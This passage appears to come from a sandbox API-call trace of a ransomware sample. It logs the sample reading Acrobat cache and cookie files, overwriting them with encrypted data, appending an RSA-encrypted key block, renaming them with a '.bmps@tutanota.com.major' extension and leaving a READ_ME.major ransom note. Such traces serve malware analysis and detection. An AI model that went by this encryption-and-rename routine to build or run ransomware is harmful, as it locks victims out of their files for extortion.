(normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0238.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0238.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0238.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c410 | out: hHeap=0x570000) returned 1 [0238.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cb30 | out: hHeap=0x570000) returned 1 [0238.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c4a8 [0238.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0238.139] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0238.139] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", dwFileAttributes=0x80) returned 1 [0238.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65d1b8 [0238.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd6) returned 0x5a37b8 [0238.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d1b8 | out: hHeap=0x570000) returned 1 [0238.151] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a38 [0238.152] GetFileSizeEx (in: hFile=0x1a38, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=270336) returned 1 [0238.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42000) returned 0x33f5018 [0238.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42000) returned 0x3437020 [0238.152] ReadFile (in: hFile=0x1a38, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x42000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x42000, lpOverlapped=0x0) returned 1 [0238.173] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=-270336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.173] WriteFile (in: hFile=0x1a38, lpBuffer=0x3437020*, nNumberOfBytesToWrite=0x42000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x42000, lpOverlapped=0x0) returned 1 [0238.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0238.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437020 | out: hHeap=0x570000) returned 1 [0238.174] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x42000 [0238.174] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0238.174] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0238.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0238.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0238.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0238.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0238.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="m/5gITskA4IMsk+dovLDWaEy1A+Xg2zavqWYwdSnHBMLr1z/eDxYAv0UpKOruxdl\nP8pveeEPdTErrd006DWhUfG8HzqIRhtYzzdCvzyRUQ9ffSc632Ndu+dcCDZ1iV7M\n6aVNe4cGmCrhW4fz8NARGaAwOhC2n7/rhC1VvO4owDaMWdIgqTLggDO0P2EO0s/t\nGv8p3Hy0WKBuDiHARVmgR/UfhAZ+t6o33bw4mNniPm8jqHOZHDW4xXIyQlUBw7pE\n+iUvbEvS1PIVJm0f/WNhsipEB1u/eydmcS5Y34x5FB0dmVRVLsQ4K3P9SPtdMZYU\nB6d4nL5frK7RWsPF+nzilA==\n", pcchString=0x2e3f9a8) returned 1 [0238.175] WriteFile (in: hFile=0x1a38, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0238.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0238.175] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0238.175] CloseHandle (hObject=0x1a38) returned 1 [0238.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0238.175] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0238.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0238.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0238.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c4a8 | out: hHeap=0x570000) returned 1 [0238.177] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d380 | out: hHeap=0x570000) returned 1 [0238.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65d120 [0238.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0238.177] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0238.177] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", dwFileAttributes=0x80) returned 1 [0238.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65ccf8 [0238.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd6) returned 0x5a37b8 [0238.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ccf8 | out: hHeap=0x570000) returned 1 [0238.178] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a38 [0238.178] GetFileSizeEx (in: hFile=0x1a38, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0238.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x33e1068 [0238.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x33e3070 [0238.178] ReadFile (in: hFile=0x1a38, lpBuffer=0x33e1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33e1068*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0238.431] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.431] WriteFile (in: hFile=0x1a38, lpBuffer=0x33e3070*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33e3070*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0238.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33e1068 | out: hHeap=0x570000) returned 1 [0238.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33e3070 | out: hHeap=0x570000) returned 1 [0238.431] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0238.431] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0238.431] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0238.431] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0238.431] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0238.432] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0238.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0238.432] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YucGTPzir489Iymt0Qfp+i06q+3AYgT7YVEQjhO3mA7R/LY2+be8dVdsdQ/I/dto\nvky6DT4aAQ+PdAdUaTxEXllKynJGpHpzb/kwBh9GuQiYCvrf/18CJ7pkScTNnCPO\nZGXmEIW5oOgg0AP85SwnnH7/HMYUk39oFeJqGUJZr9WLwc1ml5VHuEWa3jwsjq99\nQ4+/1Px1GlbYrlxWzqAY/ruplq9vfcRyLlFkfhXIDkXrqu0w2MmWN+APu9klFag4\nj5qiKNmMDNikBpq3xdx5lplgUwA8TC8YLir09NTflsW16UpkFGk+eqXEIm+W7vvC\nc52aiBU8k/jHK2K/sg1yXg==\n", pcchString=0x2e3f9a8) returned 1 [0238.432] WriteFile (in: hFile=0x1a38, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0238.432] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0238.432] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0238.432] CloseHandle (hObject=0x1a38) returned 1 [0238.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0238.432] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0238.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0238.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0238.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d120 | out: hHeap=0x570000) returned 1 [0238.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c378 | out: hHeap=0x570000) returned 1 [0238.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0238.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0238.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0238.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9ad8 | out: hHeap=0x570000) returned 1 [0238.434] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34d20 [0238.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6642d8 | out: hHeap=0x570000) returned 1 [0238.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0238.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0238.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0238.435] GetLastError () returned 0x0 [0238.435] SetLastError (dwErrCode=0x0) [0238.435] GetLastError () returned 0x0 [0238.435] SetLastError (dwErrCode=0x0) [0238.435] GetLastError () returned 0x0 [0238.435] SetLastError (dwErrCode=0x0) [0238.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0238.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0238.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0238.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0238.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34e60 [0238.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34e60 | out: hHeap=0x570000) returned 1 [0238.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0238.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0238.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0238.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0238.435] FindNextFileW (in: hFindFile=0x2f34d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0238.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0238.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0238.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0238.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0238.435] GetLastError () returned 0x0 [0238.435] SetLastError (dwErrCode=0x0) [0238.435] GetLastError () returned 0x0 [0238.435] SetLastError (dwErrCode=0x0) [0238.435] GetLastError () returned 0x0 [0238.436] SetLastError (dwErrCode=0x0) [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0238.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34c20 [0238.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34c20 | out: hHeap=0x570000) returned 1 [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0238.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0238.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0238.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0238.436] FindNextFileW (in: hFindFile=0x2f34d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd7437f7e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cookies", cAlternateFileName="")) returned 1 [0238.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0238.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0238.436] GetLastError () returned 0x0 [0238.436] SetLastError (dwErrCode=0x0) [0238.436] GetLastError () returned 0x0 [0238.436] SetLastError (dwErrCode=0x0) [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664c38 [0238.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0238.436] GetLastError () returned 0x0 [0238.436] SetLastError (dwErrCode=0x0) [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cf58 [0238.436] FindNextFileW (in: hFindFile=0x2f34d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd74f6b1c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1 [0238.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664c38 | out: hHeap=0x570000) returned 1 [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0238.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0238.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0238.437] GetLastError () returned 0x0 [0238.437] SetLastError (dwErrCode=0x0) [0238.437] GetLastError () returned 0x0 [0238.437] SetLastError (dwErrCode=0x0) [0238.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6642d8 [0238.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0238.437] GetLastError () returned 0x0 [0238.437] SetLastError (dwErrCode=0x0) [0238.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0238.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0238.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2ee3bc8 [0238.437] FindNextFileW (in: hFindFile=0x2f34d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b416115, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b416115, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0238.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6642d8 | out: hHeap=0x570000) returned 1 [0238.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0238.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0238.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0238.437] GetLastError () returned 0x0 [0238.437] SetLastError (dwErrCode=0x0) [0238.437] GetLastError () returned 0x0 [0238.437] SetLastError (dwErrCode=0x0) [0238.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665598 [0238.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0238.437] GetLastError () returned 0x0 [0238.437] SetLastError (dwErrCode=0x0) [0238.437] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0238.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0238.437] FindNextFileW (in: hFindFile=0x2f34d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b416115, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b416115, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0238.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2ee37d8 [0238.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0238.438] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0238.438] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", dwFileAttributes=0x80) returned 1 [0238.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2ee3a78 [0238.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659f88 [0238.447] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3a78 | out: hHeap=0x570000) returned 1 [0238.447] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\cookies-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a3c [0238.447] GetFileSizeEx (in: hFile=0x1a3c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0238.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0238.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0238.448] ReadFile (in: hFile=0x1a3c, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0238.448] SetFilePointer (in: hFile=0x1a3c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.448] WriteFile (in: hFile=0x1a3c, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) 